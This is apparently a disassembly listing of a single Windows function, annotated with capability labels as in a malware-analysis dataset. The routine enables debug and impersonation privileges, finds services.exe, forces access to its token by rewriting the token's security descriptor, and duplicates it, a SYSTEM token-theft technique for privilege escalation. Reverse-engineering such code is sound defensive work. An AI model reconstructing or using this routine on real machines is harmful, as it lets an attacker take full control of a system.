Function at 0x44adc8
Capabilities:
Acquire debug privileges
Enumerate processes
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
lea eax, [ebp - 0xc]
push eax
lea ebx, [esi + 0x20]
push 0x200e8
mov dword [esi + 0x18], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x1c], edi
mov dword [ebx], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x24], edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x44b0af
push 1
push str.SeDebugPrivilege
push dword [ebp - 0xc]
call fcn.0042d215
push 1
push str.SeImpersonatePrivilege
push dword [ebp - 0xc]
call fcn.0042d215
push 1
push str.SeIncreaseQuotaPrivilege
push dword [ebp - 0xc]
call fcn.0042d215
push 1
push str.SeAssignPrimaryTokenPrivilege
push dword [ebp - 0xc]
call fcn.0042d215
test eax, eax
jne 0x44ae68
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.AdjustTokenPrivileges_err_u
push 1
call fcn.00451479
add esp, 0xc
jmp 0x44b0af
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x64c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x444]
push str._sSystem32_services.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
lea eax, [ebp - 0x444]
push eax
call fcn.0042d293
mov dword [ebp - 0x10], eax
cmp eax, edi
jne 0x44aec9
push edi
push str.services.exe
call fcn.0042d293
mov dword [ebp - 0x10], eax
cmp eax, edi
je 0x44b0af
push edi
push 2
mov dword [esi + 0x1c], edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x44b0af
push 0x228
lea eax, [ebp - 0x238]
push edi
push eax
mov dword [ebp - 0x23c], 0x22c
call fcn.0044b15e
add esp, 0xc
mov dword [ebp - 8], edi
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32FirstW
jmp 0x44afc6
mov eax, dword [ebp - 0x224]
cmp eax, dword [ebp - 0x10]
je 0x44af34
cmp dword [ebp - 8], 1
jne 0x44afb7
cmp eax, 4
jne 0x44afb7
push dword [ebp - 0x234]
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esi + 0x1c], eax
cmp eax, edi
jne 0x44af62
push dword [ebp - 0x234]
push edi
push 0x450
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x1c]
cmp eax, edi
je 0x44afb7
mov ecx, dword [ebp - 0x234]
push ebx
push 2
push eax
mov dword [esi + 0x18], ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x44afd0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x44afae
push 1
push 0xb
push dword [esi + 0x1c]
call fcn.0044ac83
mov dword [esi + 0x24], eax
cmp eax, edi
je 0x44afae
push ebx
push 2
push dword [esi + 0x1c]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x44afd0
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x44af16
jmp 0x44afd7
mov dword [ebp - 8], 0x63
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x44af02
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi + 0x1c], edi
je 0x44b0af
lea eax, [esi + 0x2c]
push eax
push 1
push 2
push edi
push 0x18b
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x44b058
call fcn.0044e479
push eax
push str.error__S_dup_token_n
push 1
call fcn.00451479
mov eax, dword [ebx]
add esp, 0xc
cmp eax, edi
je 0x44b032
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x2c]
mov dword [ebx], edi
cmp eax, edi
je 0x44b042
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x1c]
mov dword [esi + 0x2c], edi
cmp eax, edi
je 0x44b053
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x1c], edi
jmp 0x44b0af
cmp dword [esi + 0x24], edi
je 0x44b099
lea eax, [ebp - 4]
push eax
push 0x60000
push dword [esi + 0x1c]
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x44b08d
push dword [esi + 0x24]
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esi + 0x24]
call fcn.0044b359
pop ecx
mov dword [esi + 0x24], edi
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebx]
mov dword [esi + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebx], edi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret